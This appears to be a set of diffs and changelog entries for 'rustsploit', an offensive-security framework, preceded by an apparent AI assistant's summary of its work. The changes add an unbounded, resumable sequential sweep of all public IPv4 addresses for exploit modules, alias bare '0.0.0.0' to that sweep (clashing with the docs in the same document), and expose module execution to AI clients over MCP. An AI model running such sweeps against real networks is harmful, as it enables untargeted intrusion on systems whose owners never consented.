- Advisory before every full sweep showing all four you selected — effective port (defaults to the module's
|
||||
default_port, with provenance when a global setg port overrides it), concurrency + host cap, per-host timeout, and
|
||||
exclusion count.
|
||||
- Automation safety: API/MCP and piped runs print the advisory but skip the confirm and proceed (verified
|
||||
non-blocking).
|
||||
|
||||
Binary rebuilt at target/debug/rustsploit (zero warnings).
|
||||
|
||||
One scope note on the ZMap port: I implemented the address-selection algorithm (the cyclic permutation), which is
|
||||
the part that makes internet-wide scanning efficient and fits rustsploit's existing async per-host fan-out. ZMap's
|
||||
other half — stateless raw-packet SYN transmission with a separate receive thread — is a fundamentally different
|
||||
paradigm from rustsploit's connect-based application-layer modules and would be a much larger rearchitecture. If
|
||||
you want me to go there (raw AF_PACKET/pnet SYN engine, sharding across nodes), say the word and I'll scope it.
|
||||
|
||||
|
||||
|
||||
@@ -28,18 +28,18 @@ non-zero count as a hard failure.
|
||||
|---|---|---|---|
|
||||
| A1 | `\.unwrap\(\)` | Panics on `Err`/`None`, takes the whole shell down. | Match explicitly or use `?` with `anyhow::Context`. |
|
||||
| A2 | `\.expect\(` | Same as `.unwrap()` plus a static message. | `with_context(\|\| format!("...{}...", info))`. |
|
||||
| A3 | `\.unwrap_or_default\(\)` | Silently turns `Err` into `T::default()` — body becomes `""`, status becomes `0`. Lies about what happened on the wire. | Match arms returning `CheckResult::Error(...)` or propagate via `?` with `Context`. |
|
||||
| A3 | `\.unwrap_or_default\(\)` | Silently turns `Err` into `T::default()` — body becomes `""`, status becomes `0`. Lies about what happened on the wire. | Match arms returning `Err(anyhow!(...))` or propagate via `?` with `Context`. |
|
||||
| A4 | `\.unwrap_or\b` | Even on `Option`, hides the None case behind a magic literal (`"?"`, `""`). Use a self-documenting fallback. | `match opt { Some(x) => x, None => "<documented missing case>" }`. |
|
||||
| A5 | `\.unwrap_or_else\(` | Same shape as A4 with a closure. | Match arms with explicit None handling. |
|
||||
| A6 | `\.parse\(\)\.unwrap`, `\.parse::<[^>]+>\(\)\.unwrap` | Parse failures panic. | `parse().with_context(\|\| format!("parse {} as {}", input, "u16"))?`. |
|
||||
| A7 | `\.try_into\(\)\.unwrap` | TryFrom failures panic. | `try_into().with_context(\|\| ...)?`. |
|
||||
| A8 | `\.first\(\)\.unwrap`, `\.last\(\)\.unwrap`, `\.next\(\)\.unwrap`, `\.iter\(\)…\.unwrap` | Iterator end-of-stream panics. | `match it.next() { Some(x) => x, None => return CheckResult::Error("...".into()) }`. |
|
||||
| A8 | `\.first\(\)\.unwrap`, `\.last\(\)\.unwrap`, `\.next\(\)\.unwrap`, `\.iter\(\)…\.unwrap` | Iterator end-of-stream panics. | `match it.next() { Some(x) => x, None => return Err(anyhow!("...")) }`. |
|
||||
| A9 | `\.chars\(\)\.next\(\)\.unwrap`, `\.split\([^)]*\)\.next\(\)\.unwrap` | Empty-string panics. | Same as A8. |
|
||||
| A10 | `\.position\(.*\)\.unwrap`, `\.iter\(\)\.find\(.*\)\.unwrap` | Search-miss panics. | Match on `Option`. |
|
||||
| A11 | `\.read_to_string\(.*\)\.unwrap` | I/O failure panics. | `with_context(\|\| format!("read {}", path))?`. |
|
||||
| A12 | `\.lock\(\)\.unwrap` | Poison panics. | Use `tokio::sync::Mutex` (no poison) or match on the `PoisonError` and either reset or surface. |
|
||||
| A13 | `\.expect_err`, `\.unwrap_err` | Same panic shape, on the Err side. | Match the `Result` directly. |
|
||||
| A14 | `panic!\(`, `unreachable!\(`, `todo!\(`, `unimplemented!\(` | Unconditional crash. | Return `Result::Err` (or `CheckResult::Error`) with a descriptive message. |
|
||||
| A14 | `panic!\(`, `unreachable!\(`, `todo!\(`, `unimplemented!\(` | Unconditional crash. | Return `Result::Err` with a descriptive message. |
|
||||
| A15 | `\bassert!\(`, `\bassert_eq!\(`, `\bassert_ne!\(` | Production panic on bad input. | Validate at the boundary and return `Err`. Reserve assertions for tests under `#[cfg(test)]`. |
|
||||
|
||||
## B. Silent error swallowing — banned outright
|
||||
@@ -49,7 +49,7 @@ non-zero count as a hard failure.
|
||||
| B1 | `Err\(_\)` (anonymous) | Drops the error value. Even on `tokio::time::error::Elapsed`, the `Display` impl ("deadline has elapsed") tells the operator *why* the call failed. | `Err(e) => mprintln!("{} timed out: {}", "[-]".red(), e)`. |
|
||||
| B2 | `Err\(_[a-zA-Z]\w*\)` (underscore-prefixed binding) | Same as B1 — the leading `_` is a "compiler shut up about unused" hack. | Bind without the underscore and `format!` it. |
|
||||
| B3 | `if let Err\(_` | Same as B1. | Capture the error. |
|
||||
| B4 | `if let Ok\(` (no `else`) | Drops `Err` silently — `check()` falls through to `NotVulnerable` even though the host was unreachable. | `match …` with explicit `Err(e) => CheckResult::Error(format!("{:#}", e))`. |
|
||||
| B4 | `if let Ok\(` (no `else`) | Drops `Err` silently — the module reports success even though the host was unreachable. | `match …` with explicit `Err(e) => return Err(anyhow!("{:#}", e))`. |
|
||||
| B5 | `let\s+_\s*=` | Discards a `Result`. The function "succeeded" because nothing checked. | `if let Err(e) = … { mprintln!(…) }` or `?`. |
|
||||
| B6 | `let\s+_[a-zA-Z]\w*\s*=.*\.await` | The `_<name>` prefix suppresses unused warnings on a side-effect call. The result is propagated via `?`, so the binding adds nothing. | Bare `func(...).await?;` (no `let`). |
|
||||
| B7 | `\.map_err\(\|_\|`, `\.or_else\(\|_\|` | Throws away the original error type. | Capture the error and wrap it: `.map_err(\|e\| anyhow!("...: {}", e))`. |
|
||||
|
||||
@@ -4,6 +4,20 @@ A high-level summary of significant changes. For the full detailed log, see [`ch
|
||||
|
||||
---
|
||||
|
||||
## 2026-06-04 — Sequential mass scan + interactive-module timeout fix
|
||||
|
||||
- **Sequential mass scan** — new `Target::Sequential(start)` walks the public IPv4 space
|
||||
`1.0.0.0 → 223.255.255.255` **in order** (random mode unchanged). Trigger with `t seq` /
|
||||
`t seq:<start-ip>`, or flip `0.0.0.0/0`/`random` into order via `setg scan_order sequential`. Honors
|
||||
the exclusion list, the service-port precheck, honeypot detection, and concurrency just like the random
|
||||
sweep. **Unbounded by default** (Ctrl+C to stop) unless `max_random_hosts` is set; a **high-water-mark
|
||||
checkpoint** (`crate::checkpoint::{read,write,clear}_seq_marker`) makes a killed scan resume from where
|
||||
it stopped. (`src/scheduler.rs::fanout_sequential`, `src/module.rs`, `src/config.rs`.)
|
||||
- **Interactive modules no longer time out** — `Capabilities` gained `interactive`; `fanout_single` runs
|
||||
interactive modules without the per-target `module_timeout`. Fixes `exploits/bluetooth/wpair`'s REPL
|
||||
being killed with "Module timed out after 5s" when `setg timeout` is low. The `register_native_module!`
|
||||
macro gained a `…, native, interactive)` arm.
|
||||
|
||||
## 2026-06-04 — WhisperPair (Fast Pair ECDH) re-implemented in `exploits/bluetooth/wpair`
|
||||
|
||||
The Fast Pair ECDH exploitation flow (CVE-2025-36911) that had been reduced to
|
||||
|
||||
@@ -113,6 +113,7 @@ The framework-level dispatcher handles multiple target types transparently for a
|
||||
| CIDR range | `t 192.168.1.0/24` |
|
||||
| File of targets | `t /path/to/targets.txt` |
|
||||
| Random scanning | `t random` or `t 0.0.0.0/0` |
|
||||
| Sequential scanning | `t seq` (from `1.0.0.0`), `t seq:1.2.3.4` (explicit start) |
|
||||
|
||||
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
|
||||
|
||||
@@ -120,6 +121,20 @@ All modules benefit from this automatically -- the dispatcher expands multi-targ
|
||||
> scan. Bare `0.0.0.0` is treated as a normal single host, **not** a mass-scan
|
||||
> keyword, so `t 0.0.0.0` will not launch an internet-wide scan.
|
||||
|
||||
### Mass-scan order: random vs. sequential
|
||||
|
||||
A full-public-IPv4 sweep can run in two orders, both honoring the exclusion list
|
||||
(`setg exclusions …`):
|
||||
|
||||
- **Random** (default) — `t random` / `t 0.0.0.0/0`: samples random public IPs up
|
||||
to `max_random_hosts` (default 10,000).
|
||||
- **Sequential** — `t seq` / `t seq:<start-ip>`, or flip `0.0.0.0/0`/`random` into
|
||||
order with `setg scan_order sequential`: walks `1.0.0.0 → 223.255.255.255` in
|
||||
order, skipping excluded/reserved ranges. **Unbounded** by default (Ctrl+C to
|
||||
stop) unless you set `max_random_hosts`; it checkpoints the high-water IP, so a
|
||||
killed scan **resumes** from where it left off on the next run. Set
|
||||
`setg scan_order random` to switch back.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
@@ -184,6 +199,7 @@ The shell accepts Metasploit-style option names and maps them to Rustsploit keys
|
||||
| `target_rps` | `set target_rps 10` | Per-target rate limit |
|
||||
| `prescan` | `set prescan auto` | Pre-scan tool for CIDR (auto/masscan/zmap/none) |
|
||||
| `prescan_rate` | `set prescan_rate 1000` | Pre-scan packets per second |
|
||||
| `scan_order` | `set scan_order sequential` | Mass-scan order for `0.0.0.0/0`/`random`: `random` (default) or `sequential` |
|
||||
| `target_mac` | `setg target_mac AA:BB:CC:DD:EE:FF` | wpair: target a single Fast Pair device |
|
||||
| `adapter` | `setg adapter 1` | wpair: BLE adapter index |
|
||||
| `scan_secs` | `setg scan_secs 20` | wpair: BLE scan window (3–300 s) |
|
||||
|
||||
@@ -123,8 +123,21 @@ pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> R
|
||||
for (k, v) in &scoped_opts {
|
||||
opts.set(k.clone(), v.clone());
|
||||
}
|
||||
// Auto-save: append all of this run's console output to
|
||||
// `~/.rustsploit/loot/<module> <time> results.txt`. Scoped to interactive
|
||||
// console / CLI runs (sequential, so a single global sink is race-free);
|
||||
// API / MCP runs return their captured output to the caller instead.
|
||||
let autosave = !crate::config::get_module_config().api_mode;
|
||||
if autosave {
|
||||
crate::results_sink::begin(&resolved_path);
|
||||
}
|
||||
|
||||
let result = scheduler::run(module, target, opts, verbose).await;
|
||||
|
||||
if autosave {
|
||||
crate::results_sink::end();
|
||||
}
|
||||
|
||||
crate::events::emit(crate::events::ModuleEvent::ModuleFinished {
|
||||
module: resolved_path,
|
||||
target: target_str,
|
||||
|
||||
+27
-5
@@ -58,15 +58,28 @@ impl GlobalConfig {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Mass scan keyword: "random" — store as-is. Bare "0.0.0.0" is NOT a
|
||||
// mass-scan keyword (M45); it falls through to normal single-host
|
||||
// handling. "0.0.0.0/0" is handled below as a CIDR subnet.
|
||||
// Mass scan keyword: "random" — store as-is. "0.0.0.0/0" is handled
|
||||
// below as a CIDR subnet.
|
||||
if trimmed == "random" {
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Bare "0.0.0.0" is an operator alias for the full-internet sweep
|
||||
// "0.0.0.0/0" (== "random"), added 2026-06-09 (reverses the earlier M45
|
||||
// single-host rule). Store it as the /0 subnet so every consumer treats
|
||||
// it as a mass scan; the scheduler still shows an advisory + an
|
||||
// interactive confirmation before it actually sweeps.
|
||||
if trimmed == "0.0.0.0" {
|
||||
let net: IpNetwork = "0.0.0.0/0"
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("internal: failed to parse 0.0.0.0/0 as a network: {e}"))?;
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(net));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Sequential mass-scan keywords: `seq`/`sequential` (whole public range)
|
||||
// or `seq:<ip>`/`sequential:<ip>` (explicit start). Stored verbatim;
|
||||
// `module::Target::parse` turns it into `Target::Sequential`.
|
||||
@@ -141,8 +154,17 @@ impl GlobalConfig {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
// Try to parse as CIDR subnet first — but ONLY when an explicit prefix
|
||||
// is present. `IpNetwork::from_str` silently widens a bare address to a
|
||||
// host route (`0.0.0.0` -> `0.0.0.0/32`, `10.0.0.1` -> `10.0.0.1/32`),
|
||||
// which turned every single-IP target into a subnet: it surfaced as
|
||||
// "Using target: 0.0.0.0/32", routed single hosts through CIDR fan-out,
|
||||
// and tripped `is_mass_scan_target` (which then skips honeypot
|
||||
// detection). A bare IP is a single host (M45) — require the '/' so it
|
||||
// falls through to `TargetConfig::Single` below.
|
||||
if trimmed.contains('/')
|
||||
&& let Ok(network) = trimmed.parse::<IpNetwork>()
|
||||
{
|
||||
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
|
||||
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
|
||||
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
|
||||
|
||||
@@ -14,6 +14,7 @@ mod context;
|
||||
mod modules;
|
||||
mod native;
|
||||
mod shell;
|
||||
mod tommy;
|
||||
mod utils;
|
||||
|
||||
pub mod checkpoint;
|
||||
@@ -35,6 +36,7 @@ pub mod prescan;
|
||||
pub mod rate_limit;
|
||||
pub mod scheduler;
|
||||
pub mod spool;
|
||||
pub mod results_sink;
|
||||
pub mod workspace;
|
||||
pub mod ws;
|
||||
|
||||
|
||||
+178
-245
@@ -1,10 +1,17 @@
|
||||
use anyhow::Context;
|
||||
use serde_json::Value;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use std::sync::Arc;
|
||||
|
||||
use super::types::{
|
||||
InitializeResult, JsonRpcRequest, JsonRpcResponse, ResourcesCapability, ServerCapabilities,
|
||||
ServerInfo, ToolsCapability,
|
||||
use anyhow::Context;
|
||||
use serde_json::{Map, Value};
|
||||
|
||||
use rmcp::{
|
||||
ErrorData as McpError, ServerHandler, serve_server,
|
||||
model::{
|
||||
AnnotateAble, CallToolRequestParams, CallToolResult, Content, Implementation,
|
||||
InitializeResult, ListResourcesResult, ListToolsResult, PaginatedRequestParams, RawResource,
|
||||
ReadResourceRequestParams, ReadResourceResult, Resource, ResourceContents,
|
||||
ServerCapabilities, ServerInfo, Tool,
|
||||
},
|
||||
service::{RequestContext, RoleServer},
|
||||
};
|
||||
|
||||
/// Read the libc errno value for the current thread, in a portable way.
|
||||
@@ -77,160 +84,10 @@ fn isolate_protocol_stdout() -> anyhow::Result<tokio::fs::File> {
|
||||
Ok(tokio::fs::File::from_std(std_file))
|
||||
}
|
||||
|
||||
/// Run the MCP server over newline-delimited JSON on stdio.
|
||||
///
|
||||
/// * **stdin** — reads one JSON-RPC 2.0 request per line.
|
||||
/// * **stdout** — writes one JSON-RPC 2.0 response per line.
|
||||
/// * **stderr** — diagnostic logging (stdout is the protocol channel).
|
||||
pub async fn run_mcp_server() -> anyhow::Result<()> {
|
||||
let mut protocol_out = isolate_protocol_stdout()
|
||||
.context("Cannot isolate protocol stdout — aborting to prevent JSON-RPC corruption")?;
|
||||
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut reader = BufReader::new(stdin);
|
||||
let mut line_buf: Vec<u8> = Vec::new();
|
||||
|
||||
const MAX_LINE_BYTES: usize = 1024 * 1024;
|
||||
|
||||
eprintln!("[MCP] RustSploit MCP server started (stdio transport)");
|
||||
eprintln!("[MCP] Protocol stdout isolated — module output is captured via OUTPUT_BUFFER only");
|
||||
|
||||
loop {
|
||||
line_buf.clear();
|
||||
let n = (&mut reader)
|
||||
.take(MAX_LINE_BYTES as u64 + 1)
|
||||
.read_until(b'\n', &mut line_buf)
|
||||
.await
|
||||
.context("failed to read from stdin")?;
|
||||
if n == 0 {
|
||||
eprintln!("[MCP] stdin closed, shutting down");
|
||||
break;
|
||||
}
|
||||
if line_buf.len() > MAX_LINE_BYTES {
|
||||
eprintln!(
|
||||
"[MCP] line exceeded {} bytes without newline — rejecting and closing",
|
||||
MAX_LINE_BYTES
|
||||
);
|
||||
let resp = JsonRpcResponse::error(
|
||||
None,
|
||||
-32600,
|
||||
format!("Request exceeds {} byte line limit", MAX_LINE_BYTES),
|
||||
);
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
break;
|
||||
}
|
||||
|
||||
let line = match std::str::from_utf8(&line_buf) {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
eprintln!("[MCP] non-UTF-8 input on stdin: {}", e);
|
||||
let resp = JsonRpcResponse::error(
|
||||
None,
|
||||
-32700,
|
||||
format!("Parse error: input is not valid UTF-8: {}", e),
|
||||
);
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
continue;
|
||||
}
|
||||
};
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let request: JsonRpcRequest = match serde_json::from_str(trimmed) {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
eprintln!("[MCP] parse error: {}", e);
|
||||
let resp = JsonRpcResponse::error(None, -32700, format!("Parse error: {}", e));
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
eprintln!("[MCP] <- method={}", request.method);
|
||||
|
||||
let response = handle_request(request).await;
|
||||
if let Some(resp) = response {
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Serialize a response as a single JSON line on the protocol channel.
|
||||
async fn write_response(
|
||||
out: &mut (dyn tokio::io::AsyncWrite + Unpin + Send),
|
||||
resp: &JsonRpcResponse,
|
||||
) -> anyhow::Result<()> {
|
||||
let mut json = serde_json::to_vec(resp).context("failed to serialize response")?;
|
||||
json.push(b'\n');
|
||||
out.write_all(&json).await.context("failed to write response")?;
|
||||
out.flush().await.context("failed to flush protocol channel")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Route a parsed request to the appropriate handler.
|
||||
async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
|
||||
match req.method.as_str() {
|
||||
"initialize" => Some(handle_initialize(req.id)),
|
||||
"initialized" | "notifications/initialized" => {
|
||||
// Notification — no response.
|
||||
eprintln!("[MCP] Client initialized");
|
||||
None
|
||||
}
|
||||
"tools/list" => Some(handle_tools_list(req.id)),
|
||||
"tools/call" => Some(handle_tools_call(req.id, req.params).await),
|
||||
"resources/list" => Some(handle_resources_list(req.id)),
|
||||
"resources/read" => Some(handle_resources_read(req.id, req.params).await),
|
||||
other if other.starts_with("notifications/") => {
|
||||
eprintln!("[MCP] Ignoring notification: {}", other);
|
||||
None
|
||||
}
|
||||
other => Some(JsonRpcResponse::error(
|
||||
req.id,
|
||||
-32601,
|
||||
format!("Method not found: {}", other),
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handler implementations
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn handle_initialize(id: Option<Value>) -> JsonRpcResponse {
|
||||
let result = InitializeResult {
|
||||
protocol_version: "2024-11-05".to_string(),
|
||||
capabilities: ServerCapabilities {
|
||||
tools: Some(ToolsCapability {}),
|
||||
resources: Some(ResourcesCapability {}),
|
||||
},
|
||||
server_info: ServerInfo {
|
||||
name: "rustsploit-mcp".to_string(),
|
||||
version: env!("CARGO_PKG_VERSION").to_string(),
|
||||
},
|
||||
};
|
||||
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_tools_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let tools = super::tools::all_tools();
|
||||
match serde_json::to_value(&tools) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "tools": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Per-tool-call execution budget. A single hung/slow tool must not be able to
|
||||
/// wedge the server's stdin read loop forever, so `tools/call` dispatch is
|
||||
/// bounded by this timeout and returns a JSON-RPC error on expiry. Override via
|
||||
/// the `RUSTSPLOIT_MCP_TIMEOUT_SECS` env var (0 disables the cap).
|
||||
/// wedge the server forever, so `tools/call` dispatch is bounded by this
|
||||
/// timeout and returns a JSON-RPC error on expiry. Override via the
|
||||
/// `RUSTSPLOIT_MCP_TIMEOUT_SECS` env var (0 disables the cap).
|
||||
fn module_timeout() -> Option<std::time::Duration> {
|
||||
match std::env::var("RUSTSPLOIT_MCP_TIMEOUT_SECS") {
|
||||
Ok(v) => match v.trim().parse::<u64>() {
|
||||
@@ -243,104 +100,180 @@ fn module_timeout() -> Option<std::time::Duration> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_tools_call(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let (name, arguments) = match extract_tool_call_params(¶ms) {
|
||||
Ok(pair) => pair,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
/// Run the MCP server over the official `rmcp` SDK on a stdio transport.
|
||||
///
|
||||
/// The protocol channel (JSON-RPC over the original stdout) is isolated from
|
||||
/// fd 1 first, so stray `println!` from library code cannot corrupt the stream;
|
||||
/// fd 1 is redirected to `/dev/null` and the saved descriptor becomes the
|
||||
/// transport's writer. Module output is captured through `OUTPUT_BUFFER`.
|
||||
pub async fn run_mcp_server() -> anyhow::Result<()> {
|
||||
let protocol_out = isolate_protocol_stdout()
|
||||
.context("Cannot isolate protocol stdout — aborting to prevent JSON-RPC corruption")?;
|
||||
|
||||
// Bound the tool execution so a single hung tool cannot block the read loop
|
||||
// indefinitely. On expiry, surface a JSON-RPC error instead of hanging.
|
||||
let result = match module_timeout() {
|
||||
Some(dur) => match tokio::time::timeout(dur, super::tools::call_tool(&name, arguments)).await
|
||||
{
|
||||
Ok(r) => r,
|
||||
Err(_) => {
|
||||
eprintln!(
|
||||
"[MCP] tool '{}' exceeded {}s timeout — aborting call",
|
||||
name,
|
||||
dur.as_secs()
|
||||
);
|
||||
return JsonRpcResponse::error(
|
||||
id,
|
||||
-32000,
|
||||
format!(
|
||||
"Tool '{}' timed out after {} seconds",
|
||||
name,
|
||||
dur.as_secs()
|
||||
),
|
||||
);
|
||||
eprintln!("[MCP] RustSploit MCP server started (rmcp SDK, stdio transport)");
|
||||
eprintln!("[MCP] Protocol stdout isolated — module output is captured via OUTPUT_BUFFER only");
|
||||
|
||||
// `(reader, writer)` is an rmcp async-RW transport. stdin is the request
|
||||
// stream; the saved real-stdout file is the response sink.
|
||||
let transport = (tokio::io::stdin(), protocol_out);
|
||||
|
||||
let service = serve_server(RustsploitHandler, transport)
|
||||
.await
|
||||
.context("MCP server initialization (initialize handshake) failed")?;
|
||||
|
||||
// Block until the client disconnects (stdin EOF) or the connection ends.
|
||||
let quit_reason = service
|
||||
.waiting()
|
||||
.await
|
||||
.context("MCP server task failed to join cleanly")?;
|
||||
|
||||
eprintln!("[MCP] server stopped: {quit_reason:?}");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handler — adapts the existing tool/resource registry to rmcp's traits.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Stateless MCP handler. All state lives behind the per-tenant stores reached
|
||||
/// inside `tools::call_tool` / `resources::read_resource`, so this is a unit.
|
||||
#[derive(Clone)]
|
||||
struct RustsploitHandler;
|
||||
|
||||
impl ServerHandler for RustsploitHandler {
|
||||
fn get_info(&self) -> ServerInfo {
|
||||
let capabilities = ServerCapabilities::builder()
|
||||
.enable_tools()
|
||||
.enable_resources()
|
||||
.build();
|
||||
|
||||
InitializeResult::new(capabilities)
|
||||
.with_server_info(Implementation::new(
|
||||
"rustsploit-mcp",
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
))
|
||||
.with_instructions(
|
||||
"RustSploit offensive-security framework over MCP. Discover modules with \
|
||||
`list_modules` / `search_modules` / `module_info`, set a scope with \
|
||||
`set_target`, then execute with `run_module` (set `background: true` for \
|
||||
long-running scans and poll `list_jobs`). Live engagement state is exposed \
|
||||
as resources under the `rustsploit:///` URI scheme.",
|
||||
)
|
||||
}
|
||||
|
||||
async fn list_tools(
|
||||
&self,
|
||||
_request: Option<PaginatedRequestParams>,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<ListToolsResult, McpError> {
|
||||
let tools = super::tools::all_tools()
|
||||
.into_iter()
|
||||
.map(to_rmcp_tool)
|
||||
.collect();
|
||||
Ok(ListToolsResult::with_all_items(tools))
|
||||
}
|
||||
|
||||
async fn call_tool(
|
||||
&self,
|
||||
request: CallToolRequestParams,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<CallToolResult, McpError> {
|
||||
let name = request.name.to_string();
|
||||
// rmcp delivers arguments as `Option<JsonObject>`; the existing
|
||||
// dispatcher expects a JSON `Value` (defaulting to `{}` when absent).
|
||||
let arguments = match request.arguments {
|
||||
Some(map) => Value::Object(map),
|
||||
None => Value::Object(Map::new()),
|
||||
};
|
||||
|
||||
// Bound execution so one hung tool cannot wedge the server. On expiry,
|
||||
// surface a JSON-RPC error instead of blocking the connection.
|
||||
let result = match module_timeout() {
|
||||
Some(dur) => {
|
||||
match tokio::time::timeout(dur, super::tools::call_tool(&name, arguments)).await {
|
||||
Ok(r) => r,
|
||||
Err(_) => {
|
||||
eprintln!(
|
||||
"[MCP] tool '{}' exceeded {}s timeout — aborting call",
|
||||
name,
|
||||
dur.as_secs()
|
||||
);
|
||||
return Err(McpError::internal_error(
|
||||
format!("Tool '{}' timed out after {} seconds", name, dur.as_secs()),
|
||||
None,
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
None => super::tools::call_tool(&name, arguments).await,
|
||||
};
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
None => super::tools::call_tool(&name, arguments).await,
|
||||
};
|
||||
|
||||
Ok(to_rmcp_tool_result(result))
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_resources_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let resources = super::resources::all_resources();
|
||||
match serde_json::to_value(&resources) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "resources": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
async fn list_resources(
|
||||
&self,
|
||||
_request: Option<PaginatedRequestParams>,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<ListResourcesResult, McpError> {
|
||||
let resources = super::resources::all_resources()
|
||||
.into_iter()
|
||||
.map(to_rmcp_resource)
|
||||
.collect();
|
||||
Ok(ListResourcesResult::with_all_items(resources))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_resources_read(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let uri = match extract_resource_uri(¶ms) {
|
||||
Ok(u) => u,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
|
||||
let result = super::resources::read_resource(&uri).await;
|
||||
// The MCP spec (2024-11-05) requires `resources/read` to return
|
||||
// `{ contents: [ { uri, mimeType, text } ] }` — a list, not a bare content
|
||||
// object. Claude's client rejects the bare shape silently.
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "contents": [v] })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
async fn read_resource(
|
||||
&self,
|
||||
request: ReadResourceRequestParams,
|
||||
_context: RequestContext<RoleServer>,
|
||||
) -> Result<ReadResourceResult, McpError> {
|
||||
let content = super::resources::read_resource(&request.uri).await;
|
||||
let contents = ResourceContents::TextResourceContents {
|
||||
uri: content.uri,
|
||||
mime_type: Some(content.mime_type),
|
||||
text: content.text,
|
||||
meta: None,
|
||||
};
|
||||
Ok(ReadResourceResult::new(vec![contents]))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Param extraction helpers
|
||||
// Mapping helpers: internal registry types -> rmcp model types.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Pull `name` (String) and `arguments` (Object) out of the `tools/call` params.
|
||||
fn extract_tool_call_params(params: &Option<Value>) -> Result<(String, Value), String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'name' and 'arguments'".to_string())?;
|
||||
|
||||
let name = obj
|
||||
.get("name")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'name' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
let arguments = obj
|
||||
.get("arguments")
|
||||
.cloned()
|
||||
.unwrap_or_else(|| serde_json::json!({}));
|
||||
|
||||
Ok((name, arguments))
|
||||
/// Map an internal tool descriptor to an rmcp `Tool`. The hand-authored
|
||||
/// `inputSchema` JSON is reused verbatim (rmcp expects a JSON-Schema object).
|
||||
fn to_rmcp_tool(t: super::types::Tool) -> Tool {
|
||||
let schema: Map<String, Value> = match t.input_schema {
|
||||
Value::Object(map) => map,
|
||||
// A non-object schema is malformed; advertise an empty object rather
|
||||
// than panicking so the rest of the tool list still loads.
|
||||
_ => Map::new(),
|
||||
};
|
||||
Tool::new(t.name, t.description, Arc::new(schema))
|
||||
}
|
||||
|
||||
/// Pull `uri` (String) out of the `resources/read` params.
|
||||
fn extract_resource_uri(params: &Option<Value>) -> Result<String, String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
